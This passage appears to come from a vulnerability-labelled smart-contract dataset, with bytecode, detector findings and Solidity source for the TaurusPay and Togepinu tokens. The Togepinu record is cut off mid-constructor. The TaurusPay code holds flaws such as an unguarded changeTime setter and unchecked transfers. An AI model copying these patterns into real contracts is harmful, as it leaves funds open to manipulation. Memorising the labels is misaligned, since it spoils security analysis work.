602291396001600160a01b038516600090815260208190526040902054919063ffffffff611e1916565b6001600160a01b038316600090815260208190526040902055600354612006908263ffffffff61204e16565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000611f0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e19565b600082820183811015611f09576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b336000908152600a6020526040812054420362093a80811115612111575050600e546108c4565b62015180811115612126575050600d546108c4565b5050600c5490565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052612180908490612344565b505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526121df908590612344565b50505050565b6001600160a01b038216612240576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600354612253908263ffffffff61209016565b6003556001600160a01b03821660009081526020819052604090205461227f908263ffffffff61209016565b6001600160a01b038316600081815260208181526040808320949094556001815283822043905583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818361232e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611e6d578181015183820152602001611e55565b50600083858161233a57fe5b0495945050505050565b612356826001600160a01b03166124fc565b6123a7576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106123e55780518252601f1990920191602091820191016123c6565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612447576040519150601f19603f3d011682016040523d82523d6000602084013e61244c565b606091505b5091509150816124a3576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156121df578080602001905160208110156124bf57600080fd5b50516121df5760405162461bcd60e51b815260040180806020018281038252602a8152602001806126a7602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906125305750808214155b94935050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734465706f73697420616e64207769746864726177206d757374206265203630207365636f6e6473206170617274215361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820df01a480c4a5b11c523027d76eec75d26ed8d19d0ff0de6934cf603cb9ef17a264736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,870
0xc3e329ca5380c6b416cf095ed1a662c378a2b630
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ERC223Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transfer(address to, uint256 value, bytes data) public; event Transfer(address indexed from, address indexed to, uint256 value, bytes data); } contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223Token is ERC223Basic { using SafeMath for uint256; mapping(address => uint256) balances; // List of user balances. /** * @dev protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes _data) public onlyPayloadSize(3) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value, _data); } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn't contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2) returns(bool) { uint codeLength; bytes memory empty; require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } emit Transfer(msg.sender, _to, _value, empty); return true; } /** * @dev Returns balance of the `_owner`. * * @param _owner The address whose balance will be returned. * @return balance Balance of the `_owner`. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, ERC223Token { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TaurusPay is StandardToken { string public constant name = "TaurusPay"; string public constant symbol = "TAPT"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 950 * 10**6 * (10**uint256(decimals)); address public owner; mapping (address => bool) public contractUsers; bool public mintingFinished; uint256 public tokenAllocated = 0; // list of valid claim mapping (address => uint) public countClaimsToken; uint256 public priceToken = 950000; uint256 public priceClaim = 0.0005 ether; uint256 public numberClaimToken = 200 * (10**uint256(decimals)); uint256 public startTimeDay = 50400; uint256 public endTimeDay = 51300; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event MinWeiLimitReached(address indexed sender, uint256 weiAmount); event Mint(address indexed to, uint256 amount); event MintFinished(); constructor(address _owner) public { totalSupply = INITIAL_SUPPLY; owner = _owner; //owner = msg.sender; // for test's balances[owner] = INITIAL_SUPPLY; transfersEnabled = true; mintingFinished = false; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); emit TokenPurchase(_investor, weiAmount, tokens); owner.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = _weiAmount.mul(priceToken); if (_weiAmount < 0.01 ether) { emit MinWeiLimitReached(msg.sender, _weiAmount); return 0; } if (tokenAllocated.add(addTokens) > balances[owner]) { emit TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); emit OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) { require(_to != address(0)); require(_amount <= balances[owner]); require(!mintingFinished); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); emit Mint(_to, _amount); emit Transfer(_owner, _to, _amount); return true; } function claim() canMint public payable returns (bool) { uint256 currentTime = now; //currentTime = 1540037100; //for test's require(validPurchaseTime(currentTime)); require(msg.value >= priceClaim); address beneficiar = msg.sender; require(beneficiar != address(0)); require(!mintingFinished); uint256 amount = calcAmount(beneficiar); require(amount <= balances[owner]); balances[beneficiar] = balances[beneficiar].add(amount); balances[owner] = balances[owner].sub(amount); tokenAllocated = tokenAllocated.add(amount); owner.transfer(msg.value); emit Mint(beneficiar, amount); emit Transfer(owner, beneficiar, amount); return true; } //function calcAmount(address _beneficiar) canMint public returns (uint256 amount) { //for test's function calcAmount(address _beneficiar) canMint internal returns (uint256 amount) { if (countClaimsToken[_beneficiar] == 0) { countClaimsToken[_beneficiar] = 1; } if (countClaimsToken[_beneficiar] >= 22) { return 0; } uint step = countClaimsToken[_beneficiar]; amount = numberClaimToken.mul(105 - 5*step).div(100); countClaimsToken[_beneficiar] = countClaimsToken[_beneficiar].add(1); } function validPurchaseTime(uint256 _currentTime) canMint public view returns (bool) { uint256 dayTime = _currentTime % 1 days; if (startTimeDay <= dayTime && dayTime <= endTimeDay) { return true; } return false; } function changeTime(uint256 _newStartTimeDay, uint256 _newEndTimeDay) public { require(0 < _newStartTimeDay && 0 < _newEndTimeDay); startTimeDay = _newStartTimeDay; endTimeDay = _newEndTimeDay; } /** * Peterson's Law Protection * Claim tokens */ function claimTokensToOwner(address _token) public onlyOwner { if (_token == 0x0) { owner.transfer(address(this).balance); return; } TaurusPay token = TaurusPay(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); emit Transfer(_token, owner, balance); } function setPriceClaim(uint256 _newPriceClaim) external onlyOwner { require(_newPriceClaim > 0); priceClaim = _newPriceClaim; } function setNumberClaimToken(uint256 _newNumClaimToken) external onlyOwner { require(_newNumClaimToken > 0); numberClaimToken = _newNumClaimToken; } }
0x60806040526004361061019d5763ffffffff60e060020a60003504166305d2035b81146101a957806306fdde03146101d2578063095ea7b31461025c57806318160ddd1461028057806323b872dd146102a75780632ff2e9dc146102d15780632ff6fe76146102e65780632ffd68d3146102fb578063313ce5671461031c578063347518c7146103475780634e71d92d1461035f57806354057aa6146103675780635931228b14610381578063643791501461039657806366188463146103ae578063672781ed146103d2578063707188c1146103e757806370a082311461040257806378f7aeee146104235780637d64bcb4146104385780638da5cb5b1461044d57806395d89b411461047e57806396d8b05014610493578063a6f9dae1146104b4578063a9059cbb146104d5578063ad001266146104f9578063be45fd621461051a578063bef97c8714610583578063d73dd62314610598578063d9144712146105bc578063dd62ed3e146105d1578063ec8ac4d8146105f8578063ed93ca261461060c578063f41e60c514610621578063fc38ce191461063b575b6101a633610653565b50005b3480156101b557600080fd5b506101be61073b565b604080519115158252519081900360200190f35b3480156101de57600080fd5b506101e7610744565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610221578181015183820152602001610209565b50505050905090810190601f16801561024e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026857600080fd5b506101be600160a060020a036004351660243561077b565b34801561028c57600080fd5b506102956107e1565b60408051918252519081900360200190f35b3480156102b357600080fd5b506101be600160a060020a03600435811690602435166044356107e7565b3480156102dd57600080fd5b5061029561096c565b3480156102f257600080fd5b5061029561097c565b34801561030757600080fd5b50610295600160a060020a0360043516610982565b34801561032857600080fd5b50610331610994565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506101be600435610999565b6101be6109e3565b34801561037357600080fd5b5061037f600435610bbc565b005b34801561038d57600080fd5b50610295610be5565b3480156103a257600080fd5b5061037f600435610beb565b3480156103ba57600080fd5b506101be600160a060020a0360043516602435610c14565b3480156103de57600080fd5b50610295610d04565b3480156103f357600080fd5b5061037f600435602435610d0a565b34801561040e57600080fd5b50610295600160a060020a0360043516610d30565b34801561042f57600080fd5b50610295610d4b565b34801561044457600080fd5b506101be610d51565b34801561045957600080fd5b50610462610db7565b60408051600160a060020a039092168252519081900360200190f35b34801561048a57600080fd5b506101e7610dc6565b34801561049f57600080fd5b5061037f600160a060020a0360043516610dfd565b3480156104c057600080fd5b506101be600160a060020a0360043516610fd1565b3480156104e157600080fd5b506101be600160a060020a036004351660243561106c565b34801561050557600080fd5b506101be600160a060020a03600435166112e4565b34801561052657600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261037f948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506112f99650505050505050565b34801561058f57600080fd5b506101be611569565b3480156105a457600080fd5b506101be600160a060020a0360043516602435611572565b3480156105c857600080fd5b5061029561160b565b3480156105dd57600080fd5b50610295600160a060020a0360043581169060243516611611565b610295600160a060020a0360043516610653565b34801561061857600080fd5b5061029561164c565b34801561062d57600080fd5b5061037f6004351515611652565b34801561064757600080fd5b5061029560043561167c565b60008080600160a060020a038416151561066c57600080fd5b3491506106788261167c565b905080151561068657600080fd5b600954610699908263ffffffff61176416565b6009556006546106b59085908390600160a060020a031661177a565b5060408051838152602081018390528151600160a060020a038716927fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f928290030190a2600654604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015610733573d6000803e3d6000fd5b509392505050565b60085460ff1681565b60408051808201909152600981527f5461757275735061790000000000000000000000000000000000000000000000602082015281565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b60006003366064146107f557fe5b600160a060020a038416151561080a57600080fd5b600160a060020a03851660009081526004602052604090205483111561082f57600080fd5b600160a060020a038516600090815260056020908152604080832033845290915290205483111561085f57600080fd5b60035460ff16151561087057600080fd5b600160a060020a038516600090815260046020526040902054610899908463ffffffff6118cf16565b600160a060020a0380871660009081526004602052604080822093909355908616815220546108ce908463ffffffff61176416565b600160a060020a038086166000908152600460209081526040808320949094559188168152600582528281203382529091522054610912908463ffffffff6118cf16565b600160a060020a0380871660008181526005602090815260408083203384528252918290209490945580518781529051928816939192600080516020611a29833981519152929181900390910190a3506001949350505050565b6b0311d253316c79d37600000081565b600b5481565b600a6020526000908152604090205481565b601281565b600854600090819060ff16156109ae57600080fd5b620151808306905080600e54111580156109ca5750600f548111155b156109d857600191506109dd565b600091505b50919050565b60085460009081908190819060ff16156109fc57600080fd5b429250610a0883610999565b1515610a1357600080fd5b600c54341015610a2257600080fd5b339150811515610a3157600080fd5b60085460ff1615610a4157600080fd5b610a4a826118e1565b600654600160a060020a0316600090815260046020526040902054909150811115610a7457600080fd5b600160a060020a038216600090815260046020526040902054610a9d908263ffffffff61176416565b600160a060020a038084166000908152600460205260408082209390935560065490911681522054610ad5908263ffffffff6118cf16565b600654600160a060020a0316600090815260046020526040902055600954610b03908263ffffffff61176416565b600955600654604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610b3f573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a2600654604080518381529051600160a060020a03808616931691600080516020611a29833981519152919081900360200190a36001935050505090565b600654600160a060020a03163314610bd357600080fd5b60008111610be057600080fd5b600c55565b600f5481565b600654600160a060020a03163314610c0257600080fd5b60008111610c0f57600080fd5b600d55565b336000908152600560209081526040808320600160a060020a038616845290915281205480831115610c6957336000908152600560209081526040808320600160a060020a0388168452909152812055610c9e565b610c79818463ffffffff6118cf16565b336000908152600560209081526040808320600160a060020a03891684529091529020555b336000818152600560209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600c5481565b816000108015610d1a5750806000105b1515610d2557600080fd5b600e91909155600f55565b600160a060020a031660009081526004602052604090205490565b60095481565b600654600090600160a060020a03163314610d6b57600080fd5b60085460ff1615610d7b57600080fd5b6008805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a031681565b60408051808201909152600481527f5441505400000000000000000000000000000000000000000000000000000000602082015281565b6006546000908190600160a060020a03163314610e1957600080fd5b600160a060020a0383161515610e6957600654604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610e63573d6000803e3d6000fd5b50610fcc565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015610ecd57600080fd5b505af1158015610ee1573d6000803e3d6000fd5b505050506040513d6020811015610ef757600080fd5b5051600654604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b158015610f6b57600080fd5b505af1158015610f7f573d6000803e3d6000fd5b505050506040513d6020811015610f9557600080fd5b5050600654604080518381529051600160a060020a0392831692861691600080516020611a29833981519152919081900360200190a35b505050565b600654600090600160a060020a03163314610feb57600080fd5b600160a060020a038216151561100057600080fd5b600654604051600160a060020a038085169216907fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c90600090a35060068054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60008060608160023660441461107e57fe5b600160a060020a038716151561109357600080fd5b336000908152600460205260409020548611156110af57600080fd5b60035460ff1615156110c057600080fd5b33600090815260046020526040902054873b94506110e4908763ffffffff6118cf16565b3360009081526004602052604080822092909255600160a060020a03891681522054611116908763ffffffff61176416565b600160a060020a0388166000908152600460205260408120919091558411156112225786915081600160a060020a031663c0ee0b8a3388866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111bb5781810151838201526020016111a3565b50505050905090810190601f1680156111e85780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561120957600080fd5b505af115801561121d573d6000803e3d6000fd5b505050505b86600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1688866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561129c578181015183820152602001611284565b50505050905090810190601f1680156112c95780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35060019695505050505050565b60076020526000908152604090205460ff1681565b60008060033660641461130857fe5b600160a060020a038616151561131d57600080fd5b3360009081526004602052604090205485111561133957600080fd5b60035460ff16151561134a57600080fd5b33600090815260046020526040902054863b935061136e908663ffffffff6118cf16565b3360009081526004602052604080822092909255600160a060020a038816815220546113a0908663ffffffff61176416565b600160a060020a0387166000908152600460205260408120919091558311156114ac5785915081600160a060020a031663c0ee0b8a3387876040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561144557818101518382015260200161142d565b50505050905090810190601f1680156114725780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561149357600080fd5b505af11580156114a7573d6000803e3d6000fd5b505050505b85600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1687876040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561152657818101518382015260200161150e565b50505050905090810190601f1680156115535780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3505050505050565b60035460ff1681565b336000908152600560209081526040808320600160a060020a03861684529091528120546115a6908363ffffffff61176416565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600d5481565b600060023660441461161f57fe5b5050600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600e5481565b600654600160a060020a0316331461166957600080fd5b6003805460ff1916911515919091179055565b600080611694600b54846119ed90919063ffffffff16565b9050662386f26fc100008310156116e45760408051848152905133917f0f36f9ac72964373d449d48877bd9443e49c93c404464e4082e3de730bd3971b919081900360200190a2600091506109dd565b600654600160a060020a0316600090815260046020526040902054600954611712908363ffffffff61176416565b111561175e57600954604080519182526020820183905280517f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b629281900390910190a1600091506109dd565b92915050565b60008282018381101561177357fe5b9392505050565b60085460009060ff161561178d57600080fd5b600160a060020a03841615156117a257600080fd5b600654600160a060020a03166000908152600460205260409020548311156117c957600080fd5b60085460ff16156117d957600080fd5b600160a060020a038416600090815260046020526040902054611802908463ffffffff61176416565b600160a060020a038086166000908152600460205260408082209390935590841681522054611837908463ffffffff6118cf16565b600160a060020a038084166000908152600460209081526040918290209390935580518681529051918716927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a283600160a060020a031682600160a060020a0316600080516020611a29833981519152856040518082815260200191505060405180910390a35060019392505050565b6000828211156118db57fe5b50900390565b600854600090819060ff16156118f657600080fd5b600160a060020a0383166000908152600a6020526040902054151561193257600160a060020a0383166000908152600a60205260409020600190555b600160a060020a0383166000908152600a602052604090205460161161195b57600091506109dd565b50600160a060020a0382166000908152600a6020526040902054600d546119a190606490611995906005850260690363ffffffff6119ed16565b9063ffffffff611a1116565b600160a060020a0384166000908152600a60205260409020549092506119ce90600163ffffffff61176416565b600160a060020a0384166000908152600a602052604090205550919050565b6000828202831580611a095750828482811515611a0657fe5b04145b151561177357fe5b6000808284811515611a1f57fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820c8c191ef2f5bbbef3ee7f8bb739c64eefd2c504af924c039df6d2b91e46ed4280029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,871
0x765c2715Df9C003B45C703C7982B1633cf98BA9F
/** *Submitted for verification at Etherscan.io on 2022-03-18 */ // SPDX-License-Identifier: UNLICENSED /** We all know Togepi is the most based pokemon Telegram - https://t.me/Togepinu Site - https://Togepinu.com */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Togepinu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Togepinu"; string private constant _symbol = "GEPI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 14; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x7a445C8Ad14806982A0291Eb1D25CA3145dE322A); address payable private _marketingAddress = payable(0x711f8Fa4791709eb6115c36E8BeC01e5912D3d7E); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; //1% uint256 public _maxWalletSize = 100000 * 10**9; //1% uint256 public _swapTokensAtAmount = 30000 * 10**9; //.3% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = 